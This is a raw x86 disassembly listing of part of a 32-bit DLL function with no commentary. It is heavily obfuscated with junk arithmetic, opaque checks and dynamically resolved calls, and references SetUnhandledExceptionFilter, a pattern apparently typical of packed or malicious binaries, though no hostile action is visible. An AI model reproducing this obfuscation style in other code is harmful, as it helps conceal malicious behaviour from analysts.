mov dword [ebp - 0x30], esi
jmp case.default.0x100344bb
movsx eax, word [0x100ad0c4]
movzx ecx, byte [ebp - 1]
lea edx, [ecx + eax - 0x4462472f]
mov byte [ebp - 1], dl
movsx eax, word [ebp - 0x14]
imul ecx, eax, 0x648614f7
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x24]
add edx, 0x74e39d4f
or edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
imul eax, dword [ebp - 0x18], 0x11b9800
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov ecx, dword [0x100ad128]
mov esi, dword [0x100ad12c]
movsx eax, byte [str.ZFreeSid]
movzx edx, byte [ebp - 1]
add eax, edx
cdq
mov dword [ebp - 0x6d0], ecx
mov dword [ebp - 0x6cc], esi
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], edx
mov eax, dword [ebp - 0x6d0]
cmp eax, dword [ebp - 0x6d8]
jne 0x10034c0a
mov ecx, dword [ebp - 0x6cc]
cmp ecx, dword [ebp - 0x6d4]
jne 0x10034c0a
mov dword [0x100ad0a8], 3
movzx edx, byte [ebp - 3]
movzx eax, byte [0x100ad0a6]
movsx ecx, word [ebp - 0xc]
not ecx
sub eax, ecx
add edx, eax
mov dword [ebp - 0x2c], edx
movsx edx, word [0x100ad11c]
sub edx, dword [ebp - 0x18]
movsx eax, word [0x100ad11c]
imul eax, edx
mov word [0x100ad11c], ax
mov ecx, dword [0x100adbec]
xor edx, edx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], edx
mov eax, dword [0x100ad0a8]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
ja case.default.0x100346f6
mov ecx, dword [ebp - 0x234]
jmp dword [ecx*4 + 0x1003b884]
movsx edx, word [0x100ad0e4]
sub edx, 0x31ddc0cb
movsx eax, byte [0x100ad042]
or eax, edx
mov byte [0x100ad042], al
mov ecx, dword [0x100ad0e8]
sub ecx, 0xb3243a41
mov eax, dword [ebp - 0x24]
cdq
sub eax, ecx
mov dword [ebp - 0x24], eax
movsx eax, word [0x100ad0c4]
cdq
sub eax, 0x4b991f37
sbb edx, 0x397a5
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [ebp - 0x38]
sub eax, dword [ebp - 0x3c]
sbb edx, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov edx, 2
imul eax, edx, 0x255f
movsx eax, word [eax + 0x100adbf0]
cdq
mov ecx, dword [0x100ad128]
mov esi, dword [0x100ad12c]
and ecx, eax
and esi, edx
mov dword [0x100ad128], ecx
mov dword [0x100ad12c], esi
jmp case.default.0x100346f6
mov dx, word [0x100adbec]
mov word [0x100ad11c], dx
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp - 3]
imul eax, ecx
mov byte [ebp - 1], al
mov dx, word [0x100ad11c]
add dx, 1
mov word [0x100ad11c], dx
mov eax, dword [0x100ad108]
mov ecx, dword [0x100ad10c]
push 0
push 0x789e2463
push ecx
push eax
call fcn.1007a8a0
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
movsx edx, word [0x100ad0bc]
movzx eax, word [0x100ad0b8]
not eax
add edx, eax
mov word [0x100ad0d0], dx
jmp case.default.0x100346f6
mov dword [0x100ad0e0], 4
movsx ecx, word [0x100ad130]
test ecx, ecx
je 0x10034820
mov edx, dword [0x100ad100]
mov dword [ebp - 0x238], edx
jmp 0x1003482d
movsx eax, word [0x100ad0cc]
mov dword [ebp - 0x238], eax
mov ecx, dword [ebp - 0x238]
mov dword [ebp - 0x28], ecx
push 0
push 0x64cc7b41
mov edx, dword [0x100ad0fc]
push edx
mov eax, dword [0x100ad0f8]
push eax
call fcn.1007a8a0
mov ecx, eax
movsx eax, word [0x100ad0c0]
cdq
sub eax, ecx
mov word [0x100ad0c0], ax
movzx edx, word [0x100ad0b8]
mov dword [ebp - 0x1c], edx
push 0
push 0x6f
mov eax, dword [0x100ad154]
push eax
mov ecx, dword [0x100ad150]
push ecx
call fcn.1007a8a0
mov word [0x100ad11c], ax
jmp case.default.0x100346f6
movsx edx, word [0x100ad130]
movzx eax, word [ebp - 8]
imul edx, eax
movsx ecx, word [0x100ad130]
imul ecx, edx
mov word [0x100ad130], cx
movsx edx, word [0x100ad0e4]
add edx, 0x69ba9ff6
mov byte [0x100ad042], dl
mov eax, dword [0x100ad108]
mov ecx, dword [0x100ad10c]
mov edx, dword [ebp - 0x30]
sub eax, dword [ebp - 0x34]
sbb ecx, edx
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 0x6dc], ecx
mov eax, dword [ebp - 0x6e0]
or eax, dword [ebp - 0x6dc]
jne 0x100348f9
mov ecx, 1
mov word [ebp - 0xc0], cx
jmp 0x10034902
xor edx, edx
mov word [ebp - 0xc0], dx
mov ax, word [ebp - 0xc0]
mov word [ebp - 0xc], ax
movzx ecx, byte [0x100ad0a6]
imul edx, ecx, 0xadb3bf9c
mov dword [ebp - 0x24], edx
movsx eax, byte [0x100ad043]
test eax, eax
je 0x1003493a
mov eax, dword [ebp - 0x2c]
cdq
mov dword [ebp - 0x534], eax
mov dword [ebp - 0x530], edx
jmp 0x10034952
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x530], edx
mov al, byte [ebp - 0x534]
mov byte [ebp - 4], al
movzx eax, word [0x100ad120]
cdq
mov ecx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6e4], edx
mov dword [ebp - 0x6f0], ecx
mov dword [ebp - 0x6ec], esi
mov edx, dword [ebp - 0x6e8]
cmp edx, dword [ebp - 0x6f0]
jne 0x100349a7
mov eax, dword [ebp - 0x6e4]
cmp eax, dword [ebp - 0x6ec]
je 0x10034a28
movzx ecx, byte [ebp - 1]
add ecx, 0x56e6df92
mov byte [ebp - 3], cl
movsx edx, word [ebp - 0x14]
not edx
mov eax, 0xeb0c5f7b
sub eax, edx
not eax
mov byte [ebp - 2], al
movsx ecx, word [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [0x100ad0f8]
or edx, dword [0x100ad0fc]
je 0x100349ea
movsx eax, byte [str.ZFreeSid]
mov dword [ebp - 0x23c], eax
jmp 0x100349f4
movzx ecx, word [ebp - 8]
mov dword [ebp - 0x23c], ecx
mov edx, dword [ebp - 0x23c]
mov dword [ebp - 0x4c], edx
mov eax, dword [0x100ad0b4]
add eax, 1
mov dword [0x100ad0b4], eax
mov ecx, dword [0x100ad128]
mov edx, dword [0x100ad12c]
mov dword [ebp - 0x9c8], edx
add ecx, 0xf22
mov dword [0x100ad15c], ecx
movsx eax, word [0x100ad11c]
cdq
mov ecx, dword [ebp - 0x20]
xor esi, esi
add ecx, 0x4ebb725a
adc esi, 0xd81fd
mov dword [ebp - 0x6f8], eax
mov dword [ebp - 0x6f4], edx
mov dword [ebp - 0x700], ecx
mov dword [ebp - 0x6fc], esi
mov edx, dword [ebp - 0x6f8]
cmp edx, dword [ebp - 0x700]
jne 0x10034c0a
mov eax, dword [ebp - 0x6f4]
cmp eax, dword [ebp - 0x6fc]
jne 0x10034c0a
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
not ecx
not edx
mov dword [ebp - 0x708], ecx
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x708]
or eax, dword [ebp - 0x704]
je 0x10034aa3
jmp 0x10034b0b
movzx ecx, byte [ebp - 1]
add ecx, dword [0x100ad0c8]
mov dword [0x100ad0c8], ecx
movzx eax, byte [str.px_04X_]
cdq
mov ecx, 8
imul ecx, ecx, 0x3f
mov dword [ecx + 0x100e6a58], eax
mov dword [ecx + 0x100e6a5c], edx
mov edx, dword [0x100ad0b4]
sub edx, dword [ebp - 0x28]
add edx, dword [0x100ad0b4]
mov dword [0x100ad0b4], edx
mov eax, dword [0x100ad118]
add eax, 0xee21
cdq
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x9cc], ecx
not eax
mov dword [ebp - 0x28], eax
jmp 0x100343f4
mov dword [ebp - 0x178], 0x137c
movzx ecx, byte [ebp - 3]
movzx edx, word [ebp - 0x10]
sub ecx, edx
movzx eax, byte [ebp - 3]
imul eax, ecx
mov byte [ebp - 3], al
mov cx, word [0x100adbec]
mov word [ebp - 8], cx
movsx edx, word [ebp - 0x14]
movsx eax, word [0x100ad0bc]
add edx, eax
not edx
movsx ecx, word [ebp - 0x14]
sub edx, ecx
mov word [0x100ad130], dx
movsx edx, word [0x100ad0c4]
shl edx, 7
mov dword [ebp - 0x1c], edx
imul eax, dword [0x100ad0e0], 0x941aea3
mov dword [0x100ad0b4], eax
cmp dword [ebp - 0x178], 0x121b
jle 0x10034cdb
movzx ecx, byte [0x100ad00f]
test ecx, ecx
jne 0x10034c8e
mov dword [ebp - 0x240], 1
jmp 0x10034c98
mov dword [ebp - 0x240], 0
mov edx, dword [ebp - 0x240]
sub edx, 0xa3f2
mov word [0x100ad0cc], dx
imul eax, dword [ebp - 0x48], 0x95
cdq
add eax, dword [0x100ad138]
adc edx, dword [0x100ad13c]
mov dword [0x100ad138], eax
mov dword [0x100ad13c], edx
mov eax, dword [ebp - 0x178]
sub eax, 1
mov dword [ebp - 0x178], eax
jmp 0x10034c6b
mov ecx, dword [ebp - 0x66c]
add ecx, 0xd72f
mov edx, 0x19073
sub edx, ecx
mov eax, dword [ebp - 0x244]
xor eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x17c]
xor ecx, dword [ebp - 0x17c]
imul eax, ecx
mov ecx, dword [ebp - 0x244]
xor ecx, dword [ebp - 0x17c]
mov esi, dword [ebp - 0x248]
lea ecx, [ecx + esi - 0x1b2]
imul eax, ecx
sub edx, eax
mov dword [ebp - 0x670], edx
mov edx, 0x4caf6
mov dword [0x100ad108], 0x867821b0
mov dword [0x100ad10c], edx
movzx eax, word [0x100ad0f0]
movzx ecx, word [0x100ad0b8]
not ecx
cmp eax, ecx
jge 0x10034d62
mov dword [ebp - 0x24c], 1
jmp 0x10034d6c
mov dword [ebp - 0x24c], 0
movsx edx, byte [0x100ad037]
test edx, edx
jne 0x10034d8b
movsx eax, word [ebp - 0x14]
test eax, eax
jne 0x10034d8b
mov dword [ebp - 0x250], 1
jmp 0x10034d95
mov dword [ebp - 0x250], 0
movsx ecx, word [0x100ad11c]
test ecx, ecx
jne 0x10034db4
movzx edx, byte [ebp - 4]
test edx, edx
jne 0x10034db4
mov dword [ebp - 0x254], 0
jmp 0x10034dbe
mov dword [ebp - 0x254], 1
mov eax, dword [ebp - 0x24c]
not eax
mov ecx, dword [ebp - 0x250]
add ecx, dword [ebp - 0x254]
cmp eax, ecx
jne 0x10034e5e
mov edx, dword [0x100adbec]
mov dword [ebp - 0x2c], edx
mov eax, 0xc7
mov word [0x100ad0c0], ax
movsx eax, word [0x100ad0b0]
cdq
mov ecx, eax
add ecx, 0x4e3ba22b
movzx eax, byte [ebp - 1]
cdq
add eax, ecx
mov byte [ebp - 1], al
mov edx, dword [0x100ad118]
mov dword [0x100ad0b4], edx
xor eax, eax
mov dword [0x100ad150], 8
mov dword [0x100ad154], eax
movsx ecx, word [0x100ad0e4]
movsx edx, word [0x100ad0c4]
imul ecx, edx
test ecx, ecx
jne 0x10034e46
mov dword [ebp - 0x258], 1
jmp 0x10034e50
mov dword [ebp - 0x258], 0
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x20], eax
jmp 0x10034edf
movsx ecx, word [ebp - 0xc]
test ecx, ecx
je 0x10034edf
mov edx, 0xf635d
mov dword [0x100ad160], 0xd3fb1a5f
mov dword [0x100ad164], edx
movzx eax, word [ebp - 8]
test eax, eax
jne 0x10034e8f
mov dword [ebp - 0x25c], 1
jmp 0x10034e99
mov dword [ebp - 0x25c], 0
movzx ecx, byte [ebp - 3]
imul ecx, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x18]
imul eax, ecx
not eax
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x24]
cdq
mov edi, dword [0x100ad10c]
sub eax, dword [0x100ad108]
sbb edx, edi
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
not eax
mov word [ebp - 0xc], ax
mov edx, dword [ebp - 0x20]
shl edx, 3
mov word [0x100ad0f0], dx
mov ecx, dword [0x100ad108]
mov esi, dword [0x100ad10c]
mov eax, dword [ebp - 0x18]
cdq
add eax, 0x867821b0
adc edx, 0x4caf6
mov dword [ebp - 0x710], ecx
mov dword [ebp - 0x70c], esi
mov dword [ebp - 0x718], eax
mov dword [ebp - 0x714], edx
mov edx, dword [ebp - 0x710]
cmp edx, dword [ebp - 0x718]
jne 0x10035033
mov eax, dword [ebp - 0x70c]
cmp eax, dword [ebp - 0x714]
jne 0x10035033
movsx ecx, word [0x100ad0cc]
mov edx, dword [ebp - 0x18]
add edx, 0x298a
cmp ecx, edx
jne 0x10035033
movzx eax, word [ebp - 8]
movsx ecx, byte [str.ZFreeSid]
imul eax, ecx
mov word [ebp - 8], ax
mov edx, dword [ebp - 0x24]
add edx, dword [0x100ad100]
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x24], edx
movsx eax, word [0x100ad0bc]
cdq
sub eax, 0x526b2be0
sbb edx, 0x28434
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], edx
mov eax, dword [0x100adbec]
mov dword [ebp - 0x20], eax
jmp 0x10035033
mov eax, 0x4caf6
mov dword [0x100ad108], 0x867821b0
mov dword [0x100ad10c], eax
movsx ecx, word [0x100ad0c0]
sub ecx, 0x60
mov word [0x100ad0b8], cx
mov eax, dword [ebp - 0x1c]
cdq
add eax, dword [ebp - 0x54]
adc edx, dword [ebp - 0x50]
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x71c], edx
mov edx, dword [ebp - 0x720]
or edx, dword [ebp - 0x71c]
jne 0x10035088
mov dword [ebp - 0x260], 1
jmp 0x10035092
mov dword [ebp - 0x260], 0
movzx eax, byte [str.px_04X_]
not eax
movsx ecx, word [0x100ad0c4]
add eax, ecx
imul eax, dword [ebp - 0x260]
mov word [0x100ad0c4], ax
mov edx, dword [0x100ad0e8]
or edx, dword [0x100ad0ec]
je 0x100350ce
movzx eax, byte [0x100ad072]
mov dword [ebp - 0x264], eax
jmp 0x100350db
movsx ecx, word [0x100ad130]
mov dword [ebp - 0x264], ecx
mov eax, dword [ebp - 0x264]
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov edx, dword [0x100ad0e0]
xor edx, 0xc853
movzx eax, byte [0x100ad00f]
or eax, edx
mov byte [0x100ad00f], al
movsx eax, byte [0x100ad043]
cdq
mov dword [ebp - 0x728], eax
mov dword [ebp - 0x724], edx
mov ecx, dword [0x100ad0fc]
cmp ecx, dword [ebp - 0x724]
jg 0x10035466
jl 0x1003513c
mov edx, dword [0x100ad0f8]
cmp edx, dword [ebp - 0x728]
ja 0x10035466
mov dword [0x100ad0b4], 4
mov byte [ebp - 4], 0xa0
mov byte [0x100ad043], 0x5b
movsx eax, word [ebp - 0xc]
sub eax, 0xff
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x24]
not ecx
movsx edx, word [ebp - 0xc]
not edx
mov eax, dword [ebp - 0x4c]
sub eax, edx
sub ecx, eax
movsx edx, word [0x100ad0b0]
sub ecx, edx
mov dword [ebp - 0x2c], ecx
movzx eax, word [0x100ad0b8]
sub eax, dword [ebp - 0x48]
movzx ecx, word [0x100ad0b8]
sub ecx, eax
mov word [0x100ad0b8], cx
movsx edx, word [0x100ad0b0]
imul eax, edx, 0x90368623
xor ecx, ecx
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], ecx
mov edx, dword [0x100ad0b4]
mov dword [ebp - 0x268], edx
cmp dword [ebp - 0x268], 4
ja case.default.0x100351ce
mov eax, dword [ebp - 0x268]
jmp dword [eax*4 + 0x1003b894]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov cl, 4
call fcn.1007a900
mov byte [ebp - 3], al
mov ecx, dword [0x100ad0e8]
sub ecx, dword [0x100ad0f8]
mov edx, dword [0x100ad0ec]
sbb edx, dword [0x100ad0fc]
add ecx, dword [0x100ad0e8]
adc edx, dword [0x100ad0ec]
mov dword [0x100ad0e8], ecx
mov dword [0x100ad0ec], edx
movsx eax, word [ebp - 0x14]
mov dword [ebp - 0x20], eax
movsx ecx, word [ebp - 0x14]
sar ecx, 1
mov byte [0x100ad073], cl
movsx edx, word [0x100ad130]
sub edx, 0x2c
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x20], eax
mov ecx, dword [0x100ad158]
mov dword [ebp - 0x4c], ecx
jmp case.default.0x100351ce
mov edx, 2
imul eax, edx, 0x22
movsx ecx, word [eax + 0x101e98d8]
movsx edx, word [0x100ad0cc]
add edx, ecx
mov word [0x100ad0cc], dx
movsx eax, word [ebp - 0xc]
imul eax, eax, 0xfb
cdq
add eax, dword [0x100ad0e8]
adc edx, dword [0x100ad0ec]
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
mov cx, word [ebp - 0xc]
add cx, 1
mov word [ebp - 0xc], cx
mov edx, dword [ebp - 0x18]
mov eax, 4
imul ecx, eax, 0x11
mov dword [ecx + 0x101af448], edx
mov dx, word [0x100adbec]
mov word [ebp - 8], dx
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov cl, 6
call fcn.1007a900
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
jmp case.default.0x100351ce
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
not eax
not ecx
mov edx, 0xfffffc92
sub edx, eax
mov eax, 0xffffffff
sbb eax, ecx
mov dword [ebp - 0x730], edx
mov dword [ebp - 0x72c], eax
mov ecx, dword [ebp - 0x730]
or ecx, dword [ebp - 0x72c]
jne 0x10035307
mov dword [ebp - 0x26c], 1
jmp 0x10035311
mov dword [ebp - 0x26c], 0
mov edx, dword [0x100ad0e0]
imul edx, dword [ebp - 0x26c]
xor eax, eax
mov dword [0x100ad0f8], edx
mov dword [0x100ad0fc], eax
movsx eax, word [ebp - 0xc]
sub eax, dword [ebp - 0x2c]
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov byte [str.E2_wcsrchr], 0x75
movsx ecx, word [ebp - 0x14]
add ecx, dword [0x100ad0c8]
add ecx, dword [0x100ad0c8]
mov dword [0x100ad0c8], ecx
mov dword [ebp - 0x18], 0x6f71ddbd
movsx edx, byte [0x100ad073]
movzx eax, word [0x100ad0ac]
add edx, eax
movsx ecx, byte [0x100ad073]
add ecx, edx
mov byte [0x100ad073], cl
jmp case.default.0x100351ce
mov edx, dword [ebp - 0x44]
or edx, dword [ebp - 0x40]
je 0x10035398
movzx eax, byte [0x100ad0a6]
mov dword [ebp - 0x270], eax
jmp 0x100353a2
movzx ecx, word [ebp - 0x10]
mov dword [ebp - 0x270], ecx
mov edx, dword [ebp - 0x270]
mov dword [0x100ad0a8], edx
movzx eax, byte [ebp - 4]
add eax, 0x2f95
mov dword [ebp - 0x4c], eax
movsx ecx, word [ebp - 0xc]
add ecx, 0x78
mov dword [0x100ad0c8], ecx
jmp case.default.0x100351ce
movsx edx, word [0x100ad0bc]
movzx eax, word [0x100ad0b8]
sub edx, eax
movsx ecx, word [0x100ad0bc]
sub ecx, edx
mov word [0x100ad0bc], cx
movsx edx, byte [0x100ad09a]
add edx, 0x338e1bee
mov byte [0x100ad037], dl
movzx eax, word [ebp - 8]
movsx ecx, byte [0x100ad00d]
sub eax, ecx
mov word [ebp - 8], ax
mov eax, dword [ebp - 0x4c]
cdq
mov ecx, eax
mov edx, dword [0x100ad128]
mov eax, dword [0x100ad12c]
mov dword [ebp - 0x9d8], eax
sub ecx, edx
mov eax, dword [ebp - 0x4c]
cdq
add eax, ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x1c]
not eax
cdq
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x9dc], edx
xor eax, ecx
mov word [ebp - 0xc], ax
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x2c]
mov ecx, dword [0x100ad15c]
add ecx, dword [ebp - 0x18]
imul eax, ecx
mov byte [0x100ad073], al
jmp 0x10035508
mov edx, dword [0x100ad0e8]
or edx, dword [0x100ad0ec]
jne 0x10035508
mov eax, dword [ebp - 0x2c]
xor eax, 0xf0a0
cdq
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
movzx eax, byte [str.px_04X_]
cdq
push 0xf4ec9
push 0x7ebcad61
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], edx
movsx eax, word [0x100ad0bc]
cdq
push 0x3304b
push 0x9d1d860c
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov eax, dword [0x100ad0b4]
cdq
add eax, ecx
mov dword [0x100ad0b4], eax
movzx eax, word [0x100ad0f0]
cdq
push edx
push eax
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.1007a8a0
or eax, dword [ebp - 0x44]
or edx, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov ecx, dword [ebp - 0x24]
add ecx, 0xca6e
mov word [ebp - 0x10], cx
push 0
lea edx, [ebp - 0x10d4]
push edx
push 0
push 0
call fcn.10001590
call eax
test eax, eax
je 0x10039f33
movzx eax, word [0x100ad120]
movsx ecx, word [0x100ad130]
cmp eax, ecx
jg 0x1003565c
movzx edx, byte [ebp - 1]
sub edx, 0x9141
mov word [0x100ad0f0], dx
mov eax, dword [0x100ad0a8]
cdq
push edx
push eax
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x738], eax
mov dword [ebp - 0x734], edx
mov edx, dword [ebp - 0x738]
or edx, dword [ebp - 0x734]
jne 0x10035586
mov dword [ebp - 0x274], 1
jmp 0x10035590
mov dword [ebp - 0x274], 0
movsx eax, byte [0x100ad042]
mov ecx, dword [0x100ad118]
not ecx
add eax, ecx
mov edx, dword [ebp - 0x2c]
imul edx, eax
imul edx, dword [ebp - 0x274]
not edx
mov dword [0x100ad118], edx
mov eax, dword [ebp - 0x24]
xor eax, 0x2c6bdd12
jne 0x100355c6
mov byte [ebp - 0x57], 1
jmp 0x100355ca
mov byte [ebp - 0x57], 0
mov cl, byte [ebp - 0x57]
mov byte [0x100ad09a], cl
mov edx, dword [0x100ad0e0]
sub edx, 0xfdfe
mov byte [0x100ad09a], dl
movzx eax, word [ebp - 0x10]
test eax, eax
je 0x100355fc
movsx ecx, byte [0x100ad00e]
mov dword [ebp - 0x278], ecx
jmp 0x10035609
movzx edx, byte [0x100ad072]
mov dword [ebp - 0x278], edx
mov ax, word [ebp - 0x278]
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x9e0], edx
sub ecx, 0x209dfdac
mov esi, dword [0x100ad138]
not esi
mov eax, dword [ebp - 0x24]
cdq
add esi, eax
xor ecx, esi
movsx eax, word [ebp - 0xc]
xor eax, 0x434d
movzx edx, word [0x100ad0b8]
movsx esi, word [0x100ad0b0]
sub edx, esi
not edx
imul eax, edx
not eax
cdq
xor ecx, eax
mov byte [ebp - 1], cl
mov ecx, 9
mov esi, str.SetUnhandledExcept
lea edi, [ebp - 0xab4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0xab4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x184], ecx
movzx edx, byte [ebp - 3]
test edx, edx
jne 0x100356a8
xor eax, eax
mov dword [ebp - 0x484], 1
mov dword [ebp - 0x480], eax
jmp 0x100356b3
xorps xmm0, xmm0
movlpd qword [ebp - 0x484], xmm0
movzx ecx, byte [0x100ad072]
test ecx, ecx
jne 0x100356ca
mov dword [ebp - 0x27c], 1
jmp 0x100356d4
mov dword [ebp - 0x27c], 0
mov edx, dword [0x100ad0e0]
sub edx, dword [ebp - 0x27c]
jne 0x100356ee
mov dword [ebp - 0x280], 1
jmp 0x100356f8
mov dword [ebp - 0x280], 0
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x484]
sbb esi, dword [ebp - 0x480]
mov eax, dword [0x100ad15c]
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
movzx edx, byte [ebp - 3]
mov ecx, dword [ebp - 0x28]
add edx, dword [ebp - 0x280]
add ecx, edx
sub eax, ecx
mov dword [ebp - 0x20], eax
movzx edx, word [0x100ad0f0]
imul eax, edx, 0x4a39c6c5
movsx ecx, word [0x100ad0cc]
add ecx, eax
mov word [0x100ad0cc], cx
mov edx, dword [ebp - 0x4c]
add edx, 8
mov dword [ebp - 0x4c], edx
movsx eax, word [0x100ad0d0]
movsx ecx, word [0x100ad0e4]
add eax, ecx
mov byte [ebp - 2], al
movsx edx, word [0x100ad0c0]
test edx, edx
jne 0x1003577d
mov dword [ebp - 0x284], 1
jmp 0x10035787
mov dword [ebp - 0x284], 0
movsx eax, word [ebp - 0x14]
add eax, dword [ebp - 0x284]
add eax, dword [0x100ad0b4]
mov byte [str.ZFreeSid], al
mov ecx, dword [ebp - 0x184]
add ecx, 0x4d4
mov dword [ebp - 0x1a0], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x9e4], eax
push edx
call dword [sym.imp.USER32.dll_GetLastActivePopup]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jbe 0x100357d6
mov dword [ebp - 0x288], 1
jmp 0x100357e0
mov dword [ebp - 0x288], 0
cmp dword [ebp - 0x20], 0x47
jbe 0x100357f2
mov dword [ebp - 0x28c], 1
jmp 0x100357fc
mov dword [ebp - 0x28c], 0
mov ecx, dword [ebp - 0x288]
cmp ecx, dword [ebp - 0x28c]
jl 0x1003586b
mov eax, dword [0x100ad158]
cdq
mov ecx, eax
mov esi, edx
mov edx, dword [0x100ad0dc]
add ecx, dword [0x100ad0d8]
adc esi, edx
mov eax, dword [0x100ad158]
cdq
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad158], eax
mov eax, dword [ebp - 0x24]
cdq
add eax, 0x7e4e20e3
mov dword [ebp - 0x1c], eax
mov al, byte [0x100ad037]
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0x4c]
add ecx, 0x4e17df88
mov word [0x100ad0c0], cx
movsx edx, word [ebp - 0x14]
imul eax, edx, 0xf
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov dword [ebp - 0x20], ecx
jmp 0x100358e2
movzx edx, word [ebp - 8]
add edx, 0x74
mov eax, dword [ebp - 0x28]
sub eax, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [0x100ad150]
or ecx, dword [0x100ad154]
jne 0x10035894
mov dword [ebp - 0x290], 1
jmp 0x1003589e
mov dword [ebp - 0x290], 0
movsx eax, byte [0x100ad042]
xor eax, dword [ebp - 0x290]
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov edx, dword [0x100ad140]
sub edx, 0x5469
mov dword [0x100ad0b4], edx
movsx eax, word [0x100ad0c4]
sub eax, 0xcade
mov byte [ebp - 1], al
mov ecx, dword [0x100ad0a8]
add ecx, 0x2dc2
mov byte [ebp - 2], cl
mov edx, dword [ebp - 0x184]
add edx, 0x608
mov dword [ebp - 0x598], edx
mov byte [str.ZFreeSid], 2
mov dword [0x100ad15c], 1
movzx eax, word [ebp - 8]
add eax, 0x462a7506
mov dword [ebp - 0x28], eax
movsx ecx, byte [0x100ad042]
movsx edx, word [0x100ad0bc]
add ecx, edx
movsx eax, byte [0x100ad042]
add eax, ecx
mov byte [0x100ad042], al
mov cl, byte [str.ZFreeSid]
mov byte [ebp - 0x180], cl
cmp byte [ebp - 0x180], 0
je 0x10035963
cmp byte [ebp - 0x180], 1
je 0x10035a42
cmp byte [ebp - 0x180], 2
je 0x10035a59
jmp 0x10035af5
mov edx, 0x6a
mov word [0x100ad0d0], dx
movzx eax, byte [ebp - 2]
test eax, eax
jne 0x10035983
mov dword [ebp - 0x294], 1
jmp 0x1003598d
mov dword [ebp - 0x294], 0
movsx eax, word [ebp - 0xc]
add eax, dword [ebp - 0x294]
cdq
add eax, 0x9b39774d
adc edx, 0xfff48229
push edx
push eax
mov ecx, dword [0x100ad164]
push ecx
mov edx, dword [0x100ad160]
push edx
call fcn.1007a8a0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
movsx eax, word [ebp - 0xc]
movsx ecx, word [ebp - 0x14]
imul eax, ecx
imul eax, dword [0x100ad100]
not eax
movsx edx, byte [str.ZFreeSid]
not edx
sub edx, dword [ebp - 0x2c]
movzx ecx, byte [ebp - 4]
imul ecx, dword [ebp - 0x28]
imul edx, ecx
imul eax, edx
mov byte [ebp - 1], al
movsx edx, word [0x100ad11c]
mov eax, dword [0x100ad0e0]
sub eax, edx
mov ecx, dword [0x100ad0e0]
add ecx, eax
mov dword [0x100ad0e0], ecx
xor edx, edx
mov dword [0x100ad0d8], 0xa96e
mov dword [0x100ad0dc], edx
mov eax, dword [ebp - 0x24]
sub eax, 0xe5
cdq
